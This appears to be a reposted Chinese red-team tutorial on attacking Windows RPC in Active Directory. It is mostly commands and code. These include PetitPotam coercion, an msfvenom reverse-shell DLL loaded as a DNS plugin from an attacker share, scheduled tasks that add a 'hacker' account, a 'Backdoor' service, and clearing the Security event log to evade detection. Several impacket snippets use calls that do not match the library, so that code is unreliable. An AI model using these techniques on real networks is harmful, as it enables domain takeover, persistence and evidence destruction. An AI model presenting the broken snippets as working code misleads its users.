news 2026/4/17 18:45:13

从红队实战角度解析Windows RPC协议的渗透利用技巧

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从红队实战角度解析Windows RPC协议的渗透利用技巧

1. Windows RPC协议基础与红队视角

Windows RPC(Remote Procedure Call)是微软实现的一套进程间通信机制,它允许程序像调用本地函数一样执行远程计算机上的代码。在红队行动中,RPC协议就像一把"万能钥匙"——AD域控、文件服务器、数据库服务等核心系统都依赖RPC进行通信,这使得它成为内网渗透的重要突破口。

我曾在一次实战中遇到这样的情况:通过一个普通的域用户权限,利用RPC协议漏洞在30分钟内就拿到了域控权限。这让我深刻认识到,理解RPC协议的工作机制对红队工程师而言,就像厨师了解火候一样关键。

1.1 RPC协议的三层架构

Windows RPC协议栈可以形象地比作一个快递系统:

  • 应用层:就像寄件人填写快递单,定义要调用的函数(如创建用户、执行命令)
  • MIDL层:类似快递打包站,将参数序列化为NDR(Network Data Representation)格式
  • 传输层:相当于快递运输,支持以下通道:
    - TCP/IP(ncacn_ip_tcp) - SMB命名管道(ncacn_np) - HTTP(ncacn_http) - Local RPC(ncalrpc)

1.2 关键端口与服务

在实战中,这些端口就像攻击面的"地标":

  • 135端口:RPC Endpoint Mapper,相当于服务目录中心
  • 动态端口:49152-65535范围内,实际服务运行端口
  • 445端口:SMB上的RPC调用通道

通过以下命令可以快速定位服务位置:

rpcdump.py 192.168.1.100 | grep -i "MS-TSCH" # 查找任务计划服务

1.3 RPC与AD域的关系

Active Directory中80%的核心功能都依赖RPC协议,比如:

  • 域用户认证(Netlogon服务)
  • 组策略同步(GPO)
  • 域控间数据复制(DRS接口)

在一次红队演练中,我们曾通过PetitPotam漏洞强制域控向我们的服务器发起认证,仅用以下命令就实现了NTLM中继攻击:

python3 petitpotam.py -d demo.com -u user -p pass 192.168.1.1 10.0.0.2

2. RPC信息收集技巧

2.1 服务枚举技术

使用Impacket工具包可以像"雷达扫描"一样发现可用服务:

rpcdump.py 192.168.1.100 | tee rpc_services.txt

典型输出示例:

Protocol: [MS-TSCH] Task Scheduler Provider: taskcomp.dll UUID : 86D35949-83C9-4044-B424-DB363231FD0C v1.0

2.2 网卡信息泄露

通过IOXIDResolver接口可以无需认证获取目标网卡信息,这在定位"跳板机"时特别有用:

from impacket.dcerpc.v5 import transport, ioxidresolver binding = r'ncacn_ip_tcp:192.168.1.100[135]' trans = transport.DCERPCTransportFactory(binding).get_dce_rpc() trans.connect() dce = ioxidresolver.IOXIDResolver(trans) dce.ServerAlive2()

这个技巧曾帮助我们在某次演练中发现了管理员疏忽暴露的双网卡服务器。

2.3 用户与组枚举

当获取到低权限账户后,rpcclient就像一把"万能钥匙":

rpcclient -U 'user%password' 192.168.1.100 -c 'enumdomusers'

输出示例:

user:[Administrator] rid:[0x1f4] user:[SQLService] rid:[0x452]

3. 权限提升实战手法

3.1 MS-SAMR密码修改漏洞

在拿到普通用户权限后,可以通过SAMR接口修改密码(需知道原密码):

from impacket.dcerpc.v5 import samr # 建立SAMR连接 samr_con = samr.SamrConnect2(target_ip) # 打开域账户 user_handle = samr.SamrOpenUser(samr_con, user_rid) # 修改密码 samr.SamrChangePasswordUser(user_handle, old_pw, new_pw)

3.2 DNSAdmin到SYSTEM提权

当用户属于DNSAdmins组时,可以通过加载恶意DLL实现提权:

  1. 生成恶意DLL:
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll > evil.dll
  2. 通过RPC配置DNS服务:
    dnscmd.exe /config /serverlevelplugindll \\10.0.0.1\share\evil.dll
  3. 重启DNS服务触发

3.3 计划任务滥用

通过MS-TSCH接口创建隐藏计划任务:

from impacket.dcerpc.v5 import tsch # 创建XML任务定义 xml = """<?xml version="1.0"?> <Task><Actions><Exec> <Command>cmd.exe</Command> <Arguments>/c "net user hacker P@ssw0rd /add"</Arguments> </Exec></Actions></Task>""" # 调用RPC接口 tsch.SchRpcRegisterTask(target_ip, "\\evil_task", xml, 0x2, None, 0)

4. 横向移动高级技巧

4.1 票据传递攻击

当获取到Kerberos票据后,可以通过RPC进行验证:

export KRB5CCNAME=/tmp/admin.ccache python3 wmiexec.py -k -no-pass domain/admin@dc01.demo.com

4.2 打印机漏洞利用

利用MS-RPRN强制认证进行中继攻击:

from impacket.dcerpc.v5 import rprn binding = r'ncacn_np:192.168.1.100[\PIPE\spoolss]' dce = rprn.DCERPC(binding) dce.bind(rprn.MSRPC_UUID_RPRN) dce.call(rprn.RpcRemoteFindFirstPrinterChangeNotificationEx, ...)

4.3 服务控制器滥用

通过MS-SCMR接口远程创建服务:

from impacket.dcerpc.v5 import scmr # 连接服务控制器 scmr_con = scmr.OpenSCManagerW(target_ip) # 创建服务 service = scmr.CreateServiceW(scmr_con, "Backdoor", "Backdoor", lpBinaryPathName="cmd.exe /c calc.exe") # 启动服务 scmr.StartServiceW(scmr_con, service['lpServiceHandle'])

5. 防御规避与反制

5.1 绕过EDR检测

通过直接RPC调用替代常见命令:

  • SamrEnumerateUsersInDomain替代net user
  • NetrShareEnum替代net share

5.2 日志清除技术

通过事件日志RPC接口清除日志:

from impacket.dcerpc.v5 import even dce = even.DCERPC(binding) dce.bind(even.MSRPC_UUID_EVEN) dce.call(even.ElfrClearELFW, "Security")

5.3 隐蔽通道构建

利用RPC over HTTP创建隐蔽通道:

RpcServerUseProtseqEp( L"ncacn_http", RPC_C_PROTSEQ_MAX_REQS_DEFAULT, L"8080", NULL);

在实战中,我曾见过攻击者将RPC流量伪装成正常HTTPS通信,持续潜伏超过6个月未被发现。这提醒我们,防御方必须对RPC流量进行深度行为分析,而不仅仅是端口检测。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 4:16:07

鸣潮游戏自动化工具:无侵入式操作提升游戏体验全指南

鸣潮游戏自动化工具&#xff1a;无侵入式操作提升游戏体验全指南 【免费下载链接】ok-wuthering-waves 鸣潮 后台自动战斗 自动刷声骸上锁合成 自动肉鸽 Automation for Wuthering Waves 项目地址: https://gitcode.com/GitHub_Trending/ok/ok-wuthering-waves 游戏自动…

作者头像 李华
网站建设 2026/4/18 7:29:52

3分钟搞定教育资源获取:智慧教材解析工具实用指南

3分钟搞定教育资源获取&#xff1a;智慧教材解析工具实用指南 【免费下载链接】tchMaterial-parser 国家中小学智慧教育平台 电子课本下载工具 项目地址: https://gitcode.com/GitHub_Trending/tc/tchMaterial-parser &#x1f4cc; 还在为收集教学资料耗费数小时&#…

作者头像 李华
网站建设 2026/4/18 7:42:53

聊天记录备份完全指南:安全备份、多格式导出与本地存储实用手册

聊天记录备份完全指南&#xff1a;安全备份、多格式导出与本地存储实用手册 【免费下载链接】WeChatMsg 提取微信聊天记录&#xff0c;将其导出成HTML、Word、CSV文档永久保存&#xff0c;对聊天记录进行分析生成年度聊天报告 项目地址: https://gitcode.com/GitHub_Trending…

作者头像 李华
网站建设 2026/4/18 11:56:57

从错误代码到解决方案:构建MySQL故障诊断的决策树模型

MySQL故障诊断决策树&#xff1a;从错误代码到系统化解决方案 当MySQL服务突然拒绝启动时&#xff0c;屏幕上那行冰冷的"Job for mysqld.service failed"提示往往让运维人员心头一紧。面对这类问题&#xff0c;新手可能会盲目尝试各种解决方案&#xff0c;而有经验的…

作者头像 李华
网站建设 2026/4/18 8:03:36

鸣潮辅助工具ok-ww:从入门到精通的自动化攻略

鸣潮辅助工具ok-ww&#xff1a;从入门到精通的自动化攻略 【免费下载链接】ok-wuthering-waves 鸣潮 后台自动战斗 自动刷声骸上锁合成 自动肉鸽 Automation for Wuthering Waves 项目地址: https://gitcode.com/GitHub_Trending/ok/ok-wuthering-waves 3分钟快速上手&a…

作者头像 李华
网站建设 2026/4/18 5:37:06

Excel实现AI时序模型实战指南:从RNN到Mamba的探索之旅

Excel实现AI时序模型实战指南&#xff1a;从RNN到Mamba的探索之旅 【免费下载链接】ai-by-hand-excel 项目地址: https://gitcode.com/gh_mirrors/ai/ai-by-hand-excel 作为一名数据科学探索者&#xff0c;我一直相信最复杂的AI模型也能通过简单工具拆解理解。在过去三…

作者头像 李华